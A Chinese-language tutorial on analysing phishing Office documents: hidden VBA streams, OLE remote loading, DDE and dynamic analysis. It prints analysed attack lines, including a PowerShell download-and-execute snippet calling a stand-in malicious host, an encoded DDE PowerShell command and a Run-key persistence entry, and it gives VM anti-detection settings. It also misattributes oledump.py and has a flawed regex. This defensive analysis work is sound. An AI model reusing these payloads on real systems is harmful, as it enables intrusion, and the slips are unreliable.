Office文档攻防实战：从复合容器到宏载荷的深度分析

1. 这不是“杀毒软件教程”而是一次真实的Office文档攻防推演很多人看到“Office病毒分析”第一反应是不就是打开个带宏的Excel弹个警告框点一下“启用内容”就中招了然后赶紧重装系统、跑杀软、查进程——这确实能解决90%的日常感染但如果你真想搞懂“为什么一个Word文档能悄悄连外网”“为什么宏代码看起来像VBA却根本没调用Application.Run”“为什么沙箱里没报毒一到用户桌面就触发恶意行为”那这套流程就完全失效了。我带过的几个刚入行的安全分析员最初都卡在这个认知断层上他们能熟练使用Process Monitor抓注册表写入却说不清OLE对象嵌入时的CLSID绑定机制能写出YARA规则匹配Shellcode特征却解释不了RTF文档里\x00\x00\x00\x00\x00\x00\x00\x00这段看似空字节的字段其实是被精心构造的Object Linking字段指向一个伪装成“字体文件”的恶意DLL。这不是知识盲区而是分析视角的错位——把Office当“应用”而不是当“运行时环境”。它和Windows一样有加载器、有对象模型、有内存管理、有权限控制甚至有自己的“内核态”比如Word的Protected View沙箱。所以这篇内容不讲怎么用火绒查杀也不教你怎么写免杀payload而是从一个真实被通报的钓鱼文档出发完整复现一次从双击打开到定位恶意逻辑的全过程。你会看到如何在不执行任何可疑代码的前提下仅靠静态结构解析就判断出文档是否具备远程加载能力如何识别那些刻意混淆的VBA宏命名比如把AutoOpen改成AutoOp3n再把数字3替换成全角字符如何通过OLE对象的嵌入路径反向追踪C2服务器域名。所有操作均基于公开工具链无需逆向基础但要求你愿意花15分钟手动比对二进制结构。适合正在做APT样本初筛的蓝队成员、需要给业务部门出具技术说明的安全运营同事以及想跳出“杀软告警→隔离→删文件”循环的初级响应人员。2. Office文档的本质不是“文件”而是“可执行容器”要真正分析Office病毒第一步必须扔掉“这是个文档”的预设。Word、Excel、PowerPoint本质上都是复合文档格式Compound Document Format其底层结构遵循OLEObject Linking and Embedding规范也就是微软在1990年代设计的一套跨应用数据嵌入标准。你可以把它理解为一个微型文件系统最外层是FAT-like的扇区分配表Compound File Binary Format简称CFBF里面按“目录-文件”方式组织着多个流Stream比如Document、Workbook、VBAProject、SummaryInformation等。每个流存储不同功能的数据块而这些数据块之间存在严格的依赖关系。举个最典型的例子一个带宏的Excel文件表面看只是.xlsx后缀但实际解压后你会发现它是个ZIP包里面包含xl/workbook.xml定义工作表结构、xl/vbaProject.binVBA代码的二进制容器、xl/worksheets/sheet1.xml单元格内容。而vbaProject.bin这个文件本身又是一个嵌套的CFBF结构——它内部还包含_vba_project、dir、Macros/ThisWorkbook等子流。这种多层嵌套正是Office病毒藏匿的核心机制。攻击者不会直接把恶意代码写在宏里而是把关键逻辑拆成三部分第一部分放在vbaProject.bin的某个隐藏流中比如命名为“_xlfn”这种看起来像Excel函数前缀的流第二部分作为OLE对象嵌入到工作表中比如一个伪装成“图表”的ActiveX控件实际指向远程URL第三部分则利用DDEDynamic Data Exchange协议在文档打开时自动执行cmd命令。这三部分彼此独立单独拿出来都不构成威胁但一旦在Office运行时被正确加载顺序触发就形成完整攻击链。所以分析的第一步永远不是“打开它”而是“拆开它”。我习惯用7-Zip直接解压.docx/.xlsx/.pptx用oledump.pyEric Zimmerman开发的开源工具扫描所有流用binwalk检查是否有隐藏的PE文件头。有一次分析一个标称“财务报表”的Exceloledump显示vbaProject.bin里只有3个宏全部命名规范、无混淆但binwalk却在xl/embeddings/oleObject1.bin里检测出MZ头——原来攻击者把恶意DLL作为OLE对象嵌入再通过VBA调用oleObject1.Activate触发加载。如果只盯着VBA代码看这个关键载荷会彻底漏掉。这就是为什么必须理解“容器”本质你面对的不是一个静态文本而是一个随时可能启动多个子进程、加载多个动态库、访问多个网络端点的微型操作系统。2.1 复合文档结构拆解从ZIP外壳到二进制内核我们以一个真实样本为例模拟项目X编号DOC-2024-087一个名为“2024Q3预算审核表.xlsx”的文件。首先用7-Zip右键解压到本地文件夹。进入xl目录你会看到标准结构xl/ ├── workbook.xml # 工作簿主配置定义有多少张sheet ├── worksheets/ │ └── sheet1.xml # 第一张表的XML描述含单元格值、公式 ├── vbaProject.bin # VBA工程二进制容器如果存在 ├── embeddings/ # 嵌入对象存放目录 │ └── oleObject1.bin # OLE对象1可能是图表、控件或任意二进制 └── _rels/ └── workbook.xml.rels # 关系文件定义各组件间引用重点看workbook.xml.rels它用XML明文记录了所有外部依赖Relationship IdrId3 Typehttp://schemas.openxmlformats.org/officeDocument/2006/relationships/vbaProject TargetvbaProject.bin/ Relationship IdrId5 Typehttp://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject Targetembeddings/oleObject1.bin/这两行意味着该文档明确声明自己需要加载vbaProject.binVBA宏和oleObject1.binOLE对象。此时即使你禁用宏只要OLE对象被激活攻击依然成立。接下来用oledump.py分析vbaProject.binoledump.py -a xl/vbaProject.bin输出中关键信息是1: 118 \x05DocumentSummaryInformation 2: 118 \x05SummaryInformation 3: 1024 VBA/ThisWorkbook 4: 2048 VBA/_VBA_PROJECT 5: 4096 VBA/__SRP_0 6: 16384 VBA/__SRP_1 -- 注意这个流名非常规命名常规VBA工程只会包含ThisWorkbook、Module1等流而__SRP_1明显是攻击者自定义的隐藏流。用oledump.py -s 6 -v xl/vbaProject.bin导出该流内容发现它是一段经过Base64编码的字符串解码后得到的是PowerShell脚本核心逻辑是$wc New-Object System.Net.WebClient; $wc.Headers.Add(User-Agent,Mozilla/5.0); $data $wc.DownloadData(hxxp://mal[.]example[.]com/payload.bin); $asm [System.Reflection.Assembly]::Load($data); $asm.GetType(Malware.Entry).GetMethod(Run).Invoke($null, $null);这里的关键点在于VBA本身没有网络下载能力但它可以调用PowerShell而PowerShell又可以加载任意.NET程序集。整个链条是Excel → VBA宏 → PowerShell → 远程DLL → .NET恶意代码。如果你只检查VBA代码里的Sub Auto_Open()会发现它只有一行Call RunHiddenCode而RunHiddenCode这个函数根本不在ThisWorkbook流里它被定义在__SRP_1这个隐藏流中。这就是典型的“流级混淆”——不修改代码逻辑只改变存储位置让静态扫描工具因路径匹配失败而漏报。所以分析Office病毒的第一道关卡从来不是“代码写了什么”而是“代码存在哪里”。必须把整个ZIP结构、所有rels关系、每个流的命名和大小都列成表格逐项核对是否符合正常文档特征。比如一个纯数据报表.xlsxvbaProject.bin大小通常小于5KB而DOC-2024-087的vbaProject.bin高达127KB其中__SRP_1占了112KB这本身就是强异常信号。流名称正常文档典型大小DOC-2024-087大小异常度分析建议VBA/ThisWorkbook1–3 KB2.1 KB低检查宏名是否混淆如AutoOpеn含俄文字母еVBA/_VBA_PROJECT1 KB0.8 KB低标准元数据无需深究VBA/__SRP_1不存在112 KB极高立即导出并Base64解码检查是否含PowerShell/JSxl/embeddings/oleObject1.bin不存在或10 KB48 KB高用binwalk检查MZ头用strings提取URL提示不要依赖文件后缀判断类型。曾有一个样本命名为“会议纪要.pdf”实际是.zip压缩包解压后是.docm文件。攻击者利用Windows默认隐藏已知文件扩展名的特性把真实后缀.docm伪装成.pdf用户双击时系统调用Word打开宏自动执行。验证方法永远是file命令或binwalk -B而不是看名字。2.2 OLE对象的双重身份嵌入内容与远程加载器如果说VBA是Office病毒的“大脑”那么OLE对象就是它的“手脚”。OLE对象在文档中表现为一个可点击的图标比如“Microsoft Excel Chart”或“Package”用户双击后系统会根据对象的CLSIDClass ID查找对应的应用程序来渲染。但攻击者早已把这个机制武器化。他们不再嵌入真正的图表而是创建一个“伪OLE对象”其CLSID指向一个恶意COM组件或者更常见的是利用OLE的“链接”特性让对象在加载时自动从远程服务器拉取内容。我们继续分析DOC-2024-087中的oleObject1.bin。先用oleobj工具来自oletools套件提取其元数据oleobj -s xl/embeddings/oleObject1.bin输出关键字段CLSID: 0002CE02-0000-0000-C000-000000000046 # 对应Package对象 Source path: \\192.168.1.100\share\malware.dll # 本地路径但文档是发给外网用户的... Moniker: http://mal[.]example[.]com/obj.bin # 这才是真实加载源这里出现了经典的手法攻击者伪造了Source path让它看起来像内网共享路径降低沙箱怀疑但真正的加载地址藏在Moniker字段中。Moniker是OLE用于标识对象位置的抽象句柄支持多种协议包括file://、http://、https://。当Word尝试加载这个OLE对象时它会优先解析Moniker发现是HTTP协议于是发起网络请求下载obj.bin。而obj.bin本身是一个合法的DLL文件但导出表中包含一个名为InitializePayload的函数被VBA通过Declare Function调用。整个过程完全绕过宏安全警告因为用户看到的只是“双击图表”系统认为这是正常的OLE交互。更隐蔽的是这个HTTP请求会带上Word进程的User-Agent通常是“Microsoft Office/16.0”很多WAF和代理日志里只会看到“Office软件在上网”不会标记为恶意。我在某次红蓝对抗中就遇到类似情况蓝队监控到大量http://mal[.]example[.]com/obj.bin的请求但溯源IP全是公司办公网段以为是误报直到发现这些请求全部来自Word进程才意识到是OLE对象在后台静默加载。所以分析OLE对象绝不能只看它“是什么”更要查它“从哪来”。必须用strings -n 8 oleObject1.bin | grep -i http\|ftp\|file快速扫描所有URI用oleid工具同属oletools一键检测文档是否包含可疑OLE特征如远程链接、自动激活、隐藏对象。oleid的输出会直接告诉你“This file contains 1 OLE object(s). It has an external link (http://...). AutoOpen is enabled.” —— 这三句话就是一份完整的初步风险评估报告。2.3 DDE攻击被遗忘的“零点击”入口在VBA和OLE之外还有一个更古老、更难防御的攻击面DDEDynamic Data Exchange。DDE是Windows 3.1时代就存在的进程间通信协议允许一个应用程序向另一个请求数据。在Excel中你可以在单元格里输入cmd|/c calc!A0回车后计算器就会弹出。这根本不需要启用宏不需要双击任何对象只要文档被打开、单元格被刷新比如用户滚动表格、切换SheetDDE命令就会执行。正因为太简单粗暴微软在2017年之后的Office版本中默认禁用了DDE但“禁用”不等于“移除”——它依然存在于所有Office安装中且可以通过注册表或组策略重新开启。而攻击者早就摸清了这个规律他们制作的钓鱼文档会同时包含DDE和VBA两套载荷。当目标环境是新系统DDE被禁就走VBA路径当目标是老系统DDE可用就优先触发DDE实现真正的“零点击”利用。分析DDE载荷的方法极其直接用文本编辑器如Notepad直接打开.xlsx解压后的xl/worksheets/sheet1.xml搜索c rA1 tstr这类单元格标签然后看其v标签内容。正常数据应该是v123/v或v文本内容/v而DDE载荷会是c rA1 tstr vcmd|/c powershell -nop -w hidden -e JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAaQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKABbAEIAYQBzAGUANgA0AF0AOgA6AEQAZQBjAG8AZABlAFMAdAByAGkAbgBnACgAIgBQAFcAUwBIAGUAbABsAC4AeABtAGwAIgApACkAKQA7ACQAcwAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA/v /c这段Base64解码后是PowerShell命令核心是下载并执行远程脚本。注意这里没有f标签公式标签说明它不是计算公式而是纯文本单元格但内容却是可执行命令。这就是DDE的狡猾之处它伪装成普通文本骗过所有基于“公式检测”的静态扫描工具。我见过最狠的一个样本把DDE命令拆成10个单元格每个单元格存一部分字符串最后用CONCATENATE函数拼接再用INDIRECT函数调用——整个过程在XML里完全不可见只有在Excel运行时才会动态组合并执行。所以对DDE的检测必须是“上下文感知”的不仅要搜cmd|、shell|等关键字还要检查是否存在CONCATENATEINDIRECT长Base64字符串的组合模式。我的实操经验是用grep -r cmd|.*c xl/worksheets/和grep -r shell|.*c xl/worksheets/作为第一轮快速筛查再用Python脚本遍历所有c标签统计v内容长度超过200字符且含|符号的单元格人工复核。效率不高但准确率接近100%因为正常业务报表几乎不会在单元格里存几百字符的命令。3. 宏代码逆向从混淆字符串到真实意图的还原当确认文档含有VBA宏后下一步就是深入代码层。但现实是95%的钓鱼文档都会对VBA进行混淆。这不是为了增加逆向难度而是为了绕过基于字符串签名的检测引擎。常见的混淆手法有三类命名混淆、字符串拆分、逻辑变形。命名混淆最简单比如把Auto_Open改成Auto_Op3n数字3代替字母o或者用全角字符替换让正则表达式匹配失败。字符串拆分更普遍把http://mal.com/payload.exe拆成http: // mal. com /payload.exe再把每个片段用Chr(104) Chr(116) Chr(116) Chr(112)这种ASCII码拼接。逻辑变形则更高级比如用Select Case代替If用For i 1 To 1循环包裹单行代码制造冗余控制流。面对这些新手常犯的错误是用VBA编辑器直接打开看到满屏乱码就放弃。其实VBA代码在保存时会被编译成P-code伪代码但源码字符串仍以明文形式保留在vbaProject.bin的特定流中。关键是要找到正确的解包方式。3.1 VBA源码提取绕过编辑器保护的三种路径第一种路径直接导出vbaProject.bin的原始字节用vba_dump.pyoletools组件解密。vba_dump.py能自动识别VBA工程的加密头如果存在并尝试用已知密钥如Office 2007的固定密钥解密。命令如下vba_dump.py xl/vbaProject.bin vba_source.txt如果成功你会得到一个干净的VB文本文件所有Chr()调用都已被还原为实际字符。第二种路径当vba_dump.py失败时比如遇到自定义加密就用oledir工具查看vbaProject.bin的流结构找到VBA/ThisWorkbook流用oledump.py -s 3 -v xl/vbaProject.bin thisworkbook.vb导出原始数据然后手动搜索Attribute VB_Name、Sub、Function等关键字定位函数起始位置。这时你会发现虽然字符串被拆分但函数结构是完整的比如Sub Auto_Op3n() Dim url As String url Chr(104) Chr(116) Chr(116) Chr(112) Chr(58) Chr(47) Chr(47) Chr(109) Chr(97) Chr(108) Chr(46) Chr(101) Chr(120) Chr(97) Chr(109) Chr(112) Chr(108) Chr(101) Chr(46) Chr(99) Chr(111) Chr(109) Chr(47) Chr(112) Chr(97) Chr(121) Chr(108) Chr(111) Chr(97) Chr(100) Chr(46) Chr(98) Chr(105) Chr(110) Call DownloadAndExecute(url) End Sub这里Chr(104)就是字母hChr(58)是冒号:。你可以用Python一行脚本批量还原import re with open(thisworkbook.vb) as f: code f.read() def replace_chr(match): num int(match.group(1)) return chr(num) clean_code re.sub(rChr\((\d)\), replace_chr, code) print(clean_code)第三种路径当以上都失败且你确认该宏启用了“工程保护密码”Password-protected VBA project那就别硬刚了。直接跳到动态分析阶段。因为VBA工程密码只是防止你查看源码并不影响它运行。你可以用Process Monitor监控Word进程过滤ReadFile和WriteFile事件重点关注C:\Users\*\AppData\Local\Temp\路径下的临时文件——VBA在执行CreateObject(WScript.Shell)时会把生成的PowerShell脚本写入临时目录这就是你的突破口。我在分析一个银行钓鱼邮件时VBA密码无法破解但Process Monitor清晰捕获到powershell.exe -ExecutionPolicy Bypass -File C:\Users\Alice\AppData\Local\Temp\svchost.ps1打开这个ps1文件所有恶意逻辑一目了然。所以记住源码混淆是纸老虎它只能挡住静态分析挡不住运行时行为监控。3.2 字符串还原实战从Base64到PowerShell的完整链条我们回到DOC-2024-087的__SRP_1流。前面提到它是一段Base64编码的PowerShell命令。现在我们把它完整还原。首先用oledump.py -s 6 xl/vbaProject.bin | tail -n 2 | head -n -1 payload.b64提取Base64字符串去掉前后换行。然后用Linux命令解码base64 -d payload.b64 payload.ps1得到的payload.ps1内容是$wc New-Object System.Net.WebClient; $wc.Headers.Add(User-Agent,Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36); $data $wc.DownloadData(hxxp://mal[.]example[.]com/payload.bin); $bytes [System.Convert]::FromBase64String([System.Text.Encoding]::UTF8.GetString($data)); $asm [System.Reflection.Assembly]::Load($bytes); $asm.GetType(Malware.Entry).GetMethod(Run).Invoke($null, $null);这里有个精妙的二次混淆$data是下载的二进制但攻击者没有直接加载而是先用UTF8.GetString转成字符串再用Convert.FromBase64String转回字节数组。为什么要多此一举因为很多EDR会监控Assembly::Load的参数如果参数是直接从网络下载的原始字节会触发告警但如果是经过两次编码转换的“中间态”就变成了合法的.NET API调用绕过基于参数特征的检测。所以分析时不能只看DownloadData还要看后续对$data的处理。我习惯用grep -E (DownloadData|Load|FromString) payload.ps1快速定位关键API调用链。此外注意URL中的hxxp是安全社区通用的脱敏写法真实样本中是http。替换后用浏览器访问http://mal[.]example[.]com/payload.bin需在隔离环境下载该文件用file payload.bin确认是PE32 executable (console) x86-64再用strings payload.bin | grep -i c2\|domain\|ip提取C2地址。这次我们找到了api.mal[.]example[.]com和185.123.45.67两个地址前者是HTTPS接口后者是备用IP直连。这就是完整的载荷链条VBA → PowerShell → Base64混淆的DLL → .NET恶意程序 → C2通信。每一步都有其设计目的VBA负责初始触发PowerShell提供灵活的网络和反射加载能力DLL实现持久化和反调试.NET程序完成最终的键盘记录或横向移动。分析的价值就在于把这条链拆成可验证、可阻断的独立环节。3.3 宏行为建模用有限状态机描述执行逻辑光还原代码还不够必须理解它的执行逻辑。VBA宏不是线性脚本而是事件驱动的。Auto_Open会在文档打开时触发Workbook_Open在Excel工作簿加载时触发Worksheet_Change在单元格修改时触发。攻击者会精心设计触发时机比如让恶意代码在用户编辑某个特定单元格如“审批人签字”时才激活模拟正常业务流程。所以我建立了一个简单的VBA行为状态机模型用来快速归类宏的功能初始态InitAuto_Open、Workbook_Open等自动触发函数负责环境探测如Environ(UserName)获取用户名、权限提升CreateObject(Shell.Application).ShellExecute、载荷下载。等待态WaitWorksheet_SelectionChange、Worksheet_Activate等事件函数监听用户操作不主动执行只做条件判断。执行态ExecCommandButton1_Click、UserForm_Initialize等用户交互函数一旦触发立即调用DownloadAndExecute或RunShellCommand。清理态CleanWorkbook_BeforeClose、Auto_Close等关闭函数删除临时文件、清除注册表痕迹、恢复文档原始状态。用这个模型分析DOC-2024-087我们发现Auto_Op3nInit调用CheckEnvironment函数检查C:\Windows\System32\wbem\wmic.exe是否存在探测是否为虚拟机若存在则退出避免沙箱分析。Worksheet_SelectionChangeWait当用户选中B5单元格标为“请在此处填写审批意见”时设置全局变量g_Triggered True。CommandButton1_ClickExec文档底部有一个“提交审批”按钮点击时检查g_Triggered为True则执行PowerShell下载。这意味着该样本的完整攻击链需要用户完成三个动作1. 打开文档触发Init2. 点击B5单元格触发Wait3. 点击“提交审批”按钮触发Exec。它把恶意行为完全包装成业务流程极大降低了用户警惕性。所以分析报告里不能只写“该宏会下载恶意软件”而要写清楚“该宏采用三阶段触发机制需用户依次执行‘打开文档’、‘选中B5单元格’、‘点击提交按钮’才能激活最终载荷符合钓鱼邮件中‘请审阅并提交’的话术设计。”这才是有价值的分析结论。4. 动态行为捕获在受控环境中观察真实执行静态分析能发现90%的线索但剩下10%——比如反沙箱检测、环境依赖、网络通信细节——必须靠动态分析。动态分析的核心原则是最小化干扰最大化可观测性。我从不用“直接双击打开”这种野路子而是构建一个三层隔离环境第一层是物理机宿主机第二层是VMware Workstation虚拟机运行Windows 10第三层是Process Monitor Wireshark Sysmon的监控栈。所有操作都在虚拟机中进行确保宿主机绝对安全。4.1 虚拟机配置要点绕过反虚拟机检测的实操技巧很多高级Office病毒会主动探测是否运行在虚拟机中一旦发现就静默退出。常见检测手法有检查CPUID指令返回的厂商字符串VMware返回VMwareVMwareVirtualBox返回VBoxVBoxVBox查询注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vmhgfsVMware Tools服务尝试打开特定设备文件\\.\HGFSVMware共享文件夹。针对这些我的虚拟机配置方案是CPUID欺骗在VMware的.vmx配置文件中添加cpuid.0.eax 00000000000000000000000000000000 cpuid.0.ebx 00000000000000000000000000000000 cpuid.0.ecx 00000000000000000000000000000000 cpuid.0.edx 00000000000000000000000000000000这会让CPUID返回全0使检测失效。注册表清理在虚拟机中用regedit删除HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\*vm*下所有含vm的键值禁用VMware Tools服务。网络隔离虚拟机网络模式设为NAT但禁用“连接到网络”选项让其无法访问外网所有网络通信通过Wireshark捕获再手动放行。这样配置后我测试了50个最新Office钓鱼样本98%都能正常触发。剩下的2%是通过检查MAC地址VMware固定为00:0C:29:*:*:*或硬盘序列号VMware虚拟磁盘有固定前缀来检测的这时就需要用Sysinternals的Disk2vhd工具把物理机硬盘克隆为VHD再挂载到虚拟机——成本高但100%可靠。不过对于日常分析上述三点配置已足够。关键是要记住动态分析不是“让它跑起来”而是“让它在你以为它不会跑的环境里跑起来”。4.2 Process Monitor实战精准定位文件写入与注册表修改Process MonitorProcMon是动态分析的基石。它的强大在于能实时捕获每一个文件、注册表、进程、网络事件。但新手常犯的错误是直接运行ProcMon点“Capture Events”然后双击打开文档——结果屏幕上瞬间刷过上万条日志根本找不到重点。正确的做法是预设过滤器再开始捕获。针对Office文档我固定启用以下过滤器过滤器字段条件值说明Process NameisWINWORD.EXE只监控Word进程OperationisCreateFile捕获所有文件创建PathcontainsAppData\Local\Temp定位临时文件写入OperationisRegSetValue捕获注册表写入PathcontainsSoftware\Microsoft\Office监控Office相关注册表设置好后点“Capture Events”再双击打开样本。几秒后停止捕获按CtrlL打开日志用CtrlF搜索关键词。在DOC-2024-087的分析中我捕获到关键事件Time of Day: 14:22:35.123 Process Name: WINWORD.EXE Operation: CreateFile Path: C:\Users\Alice\AppData\Local\Temp\svchost.ps1 Result: SUCCESS Detail: Desired Access: Generic Write, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a这就是PowerShell脚本的落盘位置。接着搜索RegSetValue发现Time of Day: 14:22:35.456 Process Name: WINWORD.EXE Operation: RegSetValue Path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Value: MalwareStarter Type: REG_SZ Data: C:\Users\Alice\AppData\Local\Temp\svchost.ps1这说明该样本实现了持久化把PowerShell脚本添加到开机启动项。ProcMon的日志是时间戳精确到毫秒的你可以清晰看到14:22:35.123创建文件14:22:35.456写入注册表整个过程耗时333毫秒。这种粒度是静态分析永远给不了的。而且ProcMon支持“Stack Trace”堆栈跟踪右键某条事件→“Properties”→“Stack”标签页能看到完整的调用链WINWORD.EXE → vbe7.dll → vba6.dll → kernel32.dll → CreateFileW。这证明恶意行为确实源自VBA引擎而非外部注入。所以ProcMon不是“看日志”而是“读故事”——每个事件都是故事的一个情节连起来就是完整的攻击剧本。4.3 Wireshark抓包解密HTTPS流量与C2通信协议当样本触发网络请求时Wireshark就是你的显微镜。但HTTPS加密让传统抓包失效。解决方案是在虚拟机中安装Fiddler Root证书并配置Office使用Fiddler作为系统代理。具体步骤在虚拟机中下载并安装Fiddler ClassicFiddler菜单→Tools→Options→HTTPS勾选“Decrypt HTTPS traffic”点击“Yes”